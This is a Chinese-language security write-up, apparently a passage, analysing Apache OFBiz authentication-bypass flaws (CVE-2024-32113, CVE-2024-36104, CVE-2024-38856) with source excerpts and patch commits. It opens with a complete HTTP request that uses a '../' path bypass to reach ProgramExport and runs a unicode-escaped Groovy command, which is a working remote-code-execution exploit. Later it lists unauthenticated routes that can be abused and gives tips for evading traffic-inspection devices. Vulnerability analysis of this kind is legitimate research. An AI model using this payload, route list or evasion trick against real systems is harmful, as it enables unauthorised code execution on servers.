以下面的数据包为例,通过低权限账号发包后替换Cookie中的JSESSIONID即可(但前提是一定要有账号,账号可以没有任何端点的访问权限)

1
2
3
4
5
6
7
8
9
POST /y4tacker/../webtools/control/ProgramExport HTTP/1.1
Host: 127.0.0.1:8080
X-Forwarded-Proto: HTTPS
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=BF2814CAF9E77F1F1C7A7DD49465D0B6.jvm1; Path=/webtools; HttpOnly
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Content-Length: 200

USERNAME=y4tacker&PASSWORD=y4tacker123&JavaScriptEnabled=Y&groovyProgram=\u0022\u006f\u0070\u0065\u006e\u0020\u002d\u006e\u0061\u0020\u0043\u0061\u006c\u0063\u0075\u006c\u0061\u0074\u006f\u0072\u0022\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029

这时候就会有人问,这里不是都绕过hasBasePermission了么?为什么还需要密码?这里再带大家梳理一遍

  1. 我们要利用的功能点ProgramExport(对应第二点提到的Path)其属性auth为true,代表需要鉴权,路由功能是通过path决定的(requestMapMap.get(requestUri)=>getRequestUri(path);=>req.getPathInfo();)

  2. 需要鉴权就需要通过extensionCheckLogin完成,在这个函数中先校验用户名密码

  3. 用户名密码正确,之后通过函数hasBasePermission判断是否有对应路径权限,而我们使用带../的路径绕过hasBasePermission权限校验

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    // org.apache.ofbiz.webapp.control.RequestHandler#doRequest
    Collection<RequestMap> rmaps = resolveURI(ccfg, request);
    if (rmaps.isEmpty()) {
    if (throwRequestHandlerExceptionOnMissingLocalRequest) {
    throw new RequestHandlerException(requestMissingErrorMessage);
    } else {
    throw new RequestHandlerExceptionAllowExternalRequests();
    }
    }

    String method = request.getMethod();
    RequestMap requestMap = resolveMethod(method, rmaps).orElseThrow(() -> {
    String msg = UtilProperties.getMessage("WebappUiLabels", "RequestMethodNotMatchConfig",
    UtilMisc.toList(requestUri, method), UtilHttp.getLocale(request));
    return new MethodNotAllowedException(msg);
    });

    // org.apache.ofbiz.webapp.control.RequestHandler#resolveURI
    static Collection<RequestMap> resolveURI(ControllerConfig ccfg, HttpServletRequest req) {
    Map<String, List<RequestMap>> requestMapMap = ccfg.getRequestMapMap();
    Map<String, ConfigXMLReader.ViewMap> viewMapMap = ccfg.getViewMapMap();
    String defaultRequest = ccfg.getDefaultRequest();
    String path = req.getPathInfo();
    String requestUri = getRequestUri(path);
    String viewUri = getOverrideViewUri(path);
    Collection<RequestMap> rmaps;
    if (requestMapMap.containsKey(requestUri)
    // Ensure that overridden view exists.
    && (viewUri == null || viewMapMap.containsKey(viewUri)
    || ("SOAPService".equals(requestUri) && "wsdl".equalsIgnoreCase(req.getQueryString())))){
    rmaps = requestMapMap.get(requestUri);
    } else if (defaultRequest != null) {
    rmaps = requestMapMap.get(defaultRequest);
    } else {
    rmaps = null;
    }
    return rmaps != null ? rmaps : Collections.emptyList();
    }

因此必须要有低权限账号,这个漏洞完成的只是低权限账号的权限提升

CVE-2024-32113/CVE-2024-36104

从commit不难看出

https://github.com/apache/ofbiz-framework/commit/b91a9b7f26

https://github.com/apache/ofbiz-framework/commit/b3b87d98dd

聪明的开发者知道对contextPath做normalize处理

image-20240624002738505

image-20240624004058286

然而狡猾的黑客又聪明的次实现了绕过,毕竟无论是getRequestURI还getRequestURL都不会做url解码,另外也可以配合分号的使用绕过校验

image-20240624004152877

这下开发者一个头两个大,最终还是通过正则完成了漏洞的修复

https://github.com/apache/ofbiz-framework/commit/d33ce31012

image-20240624004600901

然而真的完结了么?

CVE-2024-38856权限绕过浅析

接着上文埋下的坑,在对漏洞的分析过程中我发现一个有趣的点

在这里默认情况下我们渲染的视图为nextRequestResponse.value,说人话就是根据我们路由的返回结果来自动选择视图,这里分为三种情况

一种是定义了event的路由(通常是不需要鉴权的),会根据对应event的执行结果决定渲染类型

另一种是没有定义event的路由,但security中auth为true的路由,会根据认证返回结果决定渲染类型

最后一种则是既没有定义event、又没有认证的路由,这种会直接取配置中success的结果对应的值作为渲染类型

1
2
3
4
5
6
7
if ("view".equals(nextRequestResponse.type)) {
if (Debug.verboseOn()) Debug.logVerbose("[RequestHandler.doRequest]: Response is a view." + showSessionId(request), module);

// check for an override view, only used if "success" = eventReturn
String viewName = (UtilValidate.isNotEmpty(overrideViewUri) && (eventReturn == null || "success".equals(eventReturn))) ? overrideViewUri : nextRequestResponse.value;
renderView(viewName, requestMap.securityExternalView, request, response, saveName);
}

而在这里我们不难看出如果变量overrideViewUri存在,并且事件返回为success,那么渲染的视图则为overrideViewUri的值,对于攻击者而言以上的几种情况,毫无疑问,我们自然是优先选择第三种未授权的情形

那么接下来我们就要看看overrideViewUri如何控制,对于非链式请求,其取值在两个地方存在,一是预处理当returnString不为success时,但是我们一开始简单给大家展示过这些预处理事件,通常对于正常访问来说这些校验都是直接通过的我们不必过多关注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
// Invoke the pre-processor (but NOT in a chain)
for (ConfigXMLReader.Event event: ccfg.getPreprocessorEventList().values()) {
try {
String returnString = this.runEvent(request, response, event, null, "preprocessor");
if (returnString == null || "none".equalsIgnoreCase(returnString)) {
interruptRequest = true;
} else if (!"success".equalsIgnoreCase(returnString)) {
if (!returnString.contains(":_protect_:")) {
throw new EventHandlerException("Pre-Processor event [" + event.invoke + "] did not return 'success'.");
} else { // protect the view normally rendered and redirect to error response view
returnString = returnString.replace(":_protect_:", "");
if (returnString.length() > 0) {
request.setAttribute("_ERROR_MESSAGE_", returnString);
}
eventReturn = null;
// check to see if there is a "protect" response, if so it's ok else show the default_error_response_view
if (!requestMap.requestResponseMap.containsKey("protect")) {
if (ccfg.getProtectView() != null) {
overrideViewUri = ccfg.getProtectView();
} else {
overrideViewUri = EntityUtilProperties.getPropertyValue("security", "default.error.response.view", delegator);
overrideViewUri = overrideViewUri.replace("view:", "");
if ("none:".equals(overrideViewUri)) {
interruptRequest = true;
}
}
}
}
}
} catch (EventHandlerException e) {
Debug.logError(e, module);
}
}
}

另一个就是程序一开头的代码片段中,分别通过path获取了requesturi以及overrideViewUri

1
2
3
String path = request.getPathInfo();
String requestUri = getRequestUri(path);
String overrideViewUri = getOverrideViewUri(path);

前者用于在resolveURI取得路由配置,后者则用于视图渲染,而如果我们仔细看这两个函数的实现我们会发现,requesturi取的是path第一个/及之后的值,而overrideViewUri取的是path第二个/及之后的值,看到这里我们不由发现,如果我们将path后第一个/后的路由设置为不鉴权且路由的type为view。而第二个/后的设置为需要利用的路由,那么我们便能实现权限的绕过了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
public static Collection<RequestMap> resolveURI(ControllerConfig ccfg, HttpServletRequest req) {
Map<String, List<RequestMap>> requestMapMap = ccfg.getRequestMapMap();
Map<String, ConfigXMLReader.ViewMap> viewMapMap = ccfg.getViewMapMap();
String defaultRequest = ccfg.getDefaultRequest();
String path = req.getPathInfo();
String requestUri = getRequestUri(path);
String viewUri = getOverrideViewUri(path);
Collection<RequestMap> rmaps;
if (requestMapMap.containsKey(requestUri)
// Ensure that overridden view exists.
&& (viewUri == null || viewMapMap.containsKey(viewUri)
|| ("SOAPService".equals(requestUri) && "wsdl".equalsIgnoreCase(req.getQueryString())))){
rmaps = requestMapMap.get(requestUri);
} else if (defaultRequest != null) {
rmaps = requestMapMap.get(defaultRequest);
} else {
rmaps = null;
}
return rmaps != null ? rmaps : Collections.emptyList();
}

public static String getRequestUri(String path) {
List<String> pathInfo = StringUtil.split(path, "/");
if (UtilValidate.isEmpty(pathInfo)) {
Debug.logWarning("Got nothing when splitting URI: " + path, module);
return null;
}
if (pathInfo.get(0).indexOf('?') > -1) {
return pathInfo.get(0).substring(0, pathInfo.get(0).indexOf('?'));
} else {
return pathInfo.get(0);
}
}

public static String getOverrideViewUri(String path) {
List<String> pathItemList = StringUtil.split(path, "/");
if (pathItemList == null) {
return null;
}
pathItemList = pathItemList.subList(1, pathItemList.size());

String nextPage = null;
for (String pathItem: pathItemList) {
if (pathItem.indexOf('~') != 0) {
if (pathItem.indexOf('?') > -1) {
pathItem = pathItem.substring(0, pathItem.indexOf('?'));
}
nextPage = (nextPage == null ? pathItem : nextPage + "/" + pathItem);
}
}
return nextPage;
}

可利用的点

根据以上的分析其实可利用的点有很多,简单写一个xml解析工具提取,以下结果以|分隔,不一定都能用,简单跑了一下xml程序解析

1
secureCertDateTime|view|main|checkLogin|ajaxCheckLogin|login|forgotPassword|forgotPasswordReset|ListLocales|ListTimezones|ListSetCompanies|showHelpPublic|getUiLabels|editPortalPageColumnWidth|FixedAssetSearchResults|BudgetSearchResults|reconcileFinAccountTrans|assignGlRecToFinAccTrans|addGiftCertificateSurvey|addCategoryDefaults|crosssell|ViewSimpleContent|ViewSimpleContent|createWebSiteContactList|updateWebSiteContactList|deleteWebSiteContactList|viewImage|listMiniproduct|FacilitySearchResults|contactListOptOut|createWebSiteContactList|updateWebSiteContactList|deleteWebSiteContactList

对抗流量设备的点

围绕以下两个函数即可,可以在路由中添加~之类的做分隔,当然还有其他姿势这里就不展开了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public static String getRequestUri(String path) {
List<String> pathInfo = StringUtil.split(path, "/");
if (UtilValidate.isEmpty(pathInfo)) {
Debug.logWarning("Got nothing when splitting URI: " + path, module);
return null;
}
if (pathInfo.get(0).indexOf('?') > -1) {
return pathInfo.get(0).substring(0, pathInfo.get(0).indexOf('?'));
} else {
return pathInfo.get(0);
}
}

public static String getOverrideViewUri(String path) {
List<String> pathItemList = StringUtil.split(path, "/");
if (pathItemList == null) {
return null;
}
pathItemList = pathItemList.subList(1, pathItemList.size());

String nextPage = null;
for (String pathItem: pathItemList) {
if (pathItem.indexOf('~') != 0) {
if (pathItem.indexOf('?') > -1) {
pathItem = pathItem.substring(0, pathItem.indexOf('?'));
}
nextPage = (nextPage == null ? pathItem : nextPage + "/" + pathItem);
}
}
return nextPage;
}